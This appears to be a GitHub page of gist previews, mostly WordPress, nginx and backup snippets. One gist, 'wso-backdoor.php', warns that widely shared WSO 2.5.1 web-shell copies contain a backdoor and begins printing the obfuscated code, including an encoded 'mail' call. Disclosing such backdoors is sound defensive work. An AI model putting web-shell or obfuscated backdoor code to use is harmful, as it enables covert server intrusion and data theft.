Skip to content

Instantly share code, notes, and snippets.

View bdtech's full-sized avatar

Bryan D. bdtech

  • USA
View GitHub Profile
@salcode
salcode / .gitignore
Last active July 10, 2024 14:28
Please see https://salferrarello.com/wordpress-gitignore/ for the canonical version of this WordPress .gitignore file. Note: I do not receive notifications for comments here (because GitHub does not send notifications on Gists)
# -----------------------------------------------------------------
# .gitignore for WordPress @salcode
# ver 20180808
#
# From the root of your project run
# curl -O https://gist.githubusercontent.com/salcode/b515f520d3f8207ecd04/raw/.gitignore
# to download this file
#
# By default all files are ignored. You'll need to whitelist
# any mu-plugins, plugins, or themes you want to include in the repo.
@lmartins
lmartins / functions.php
Last active November 3, 2023 19:28 — forked from woogist/functions.php
By default WooCommerce redirects the user to the My Account page after a successful login. You may change this and use a custom URL based on the user role, like the Dashboard for admins and My Account page for customers. To do this, add this code at the end of the file functions.php located in wp-content/themes/your-theme-name/ https://support.w…
<?php
/**
* Redirect users to custom URL based on their role after login
*
* @param string $redirect
* @param object $user
* @return string
*/
function wc_custom_user_redirect( $redirect, $user ) {
// Get the first of all the roles assigned to the user
@halkeye
halkeye / cloudflare_ips_nginx.sh
Last active October 5, 2016 20:00
Pull cloudflare ips for nginx
# cat /etc/nginx/conf.d/cloudflare.conf
# sh cloudflare_ips_nginx.sh > /etc/nginx/conf.d/cloudflare.conf && service nginx configtest && service nginx reload
echo "# Cloudflare"
for ip in $(curl -s https://www.cloudflare.com/ips-v4); do
echo "set_real_ip_from $ip;"
done
for ip in $(curl -s https://www.cloudflare.com/ips-v6); do
echo "set_real_ip_from $ip;"
done
@abrudtkuhl
abrudtkuhl / wordpress.gitignore
Created July 30, 2014 17:50
.gitignore file for WordPress
# This is a template .gitignore file for git-managed WordPress projects.
# Fact: you don't want WordPress core files, or your server-specific
# configuration files etc., in your project's repository. You just don't.
#
# Solution: stick this file up your repository root (which it assumes is
# also the WordPress root directory) and add exceptions for any plugins,
# themes, and other directories that should be under version control.
#
# See the comments below for more info on how to add exceptions for your
# content. Or see git's documentation for more info on .gitignore files:
@vaibhavpandeyvpz
vaibhavpandeyvpz / wso-backdoor.php
Created July 28, 2014 06:56
Beware! Most WSO 2.5.1 Scripts Over Internet Are Back-Doored
<?php
/**
* v2.5.1
* Hosted at: http://pastebin.com/BXmWGhMu (Line: #1037)
* Hosted at: http://snipplr.com/view/70661/ (Line: #1037)
* Hosted at: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip (Line: #1037)
* Hosted at: http://pastebin.com/KCtz6XA9 (Line: #1037)
*/
// Obfuscated
$x10 = "\x6dai\154";
@salcode
salcode / .gitignore
Last active February 10, 2024 10:56
See https://salferrarello.com/wordpress-gitignore/ for the latest version of my WordPress .gitignore file
# -----------------------------------------------------------------
# .gitignore for WordPress
# Bare Minimum Git
# http://ironco.de/bare-minimum-git/
# ver 20150227
#
# This file is tailored for a WordPress project
# using the default directory structure
#
# This file specifies intentionally untracked files to ignore
@Silvenga
Silvenga / dup-backup.sh
Last active February 25, 2023 10:45
For daily systemwide encrypted backups of Ubuntu servers to remote host of Google Drive (free 15GB of storage).
#!/bin/bash
# Place in /usr/share/backup/
# and make executable
# chmod 0744 dup-backup.sh
# install:
# apt-get install duplicity python-gdata python-gobject-2 python-paramiko
## Remeber to change Google drive user name and Google drive folder
## And change Email
# Must run as root for system wide backups
@paulferrett
paulferrett / urlsigning.php
Last active December 25, 2021 14:00
Simple URL signing helper class written in PHP. Use this to generate and verify signed URLs with a shared secret.
<?php
/**
* Url Signing Helper Class
*
* @author Paul Ferrett <paul.ferrett@servicecentral.com.au>
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*/
class UrlSigning {
@brichards
brichards / sb-github-downloads.php
Last active February 16, 2021 17:10
StartBox GitHub Download Generator
<?php
/**
* Plugin Name: StartBox GitHub .zip Generator
* Description: Generates a .zip download for StartBox from GitHub Master.
*
* @props Konstantin Kovshenin (@kovshenin) for sharing his work used on underscores.me (http://code.svn.wordpress.org/underscoresme/plugins/underscoresme-generator/underscoresme-generator.php)
*/
class SB_Download_Generator {
@sureshsaggar
sureshsaggar / Setup GeoIP with NginX & PHP
Last active June 26, 2022 20:35
Setup GeoIP with NginX & PHP
On my Ubuntu machine I located the GeoIP.dat file. If not available then download/intall the same.
root@localhost:~# locate GeoIP.dat
/usr/share/GeoIP/GeoIP.dat
Open Nginx configuration (/etc/nginx/nginx.conf) and specify <geoip_country> <path to GeoIP.dat>
line under the "http" block. Example block:
http {
# SS - meant to find country code from the client IP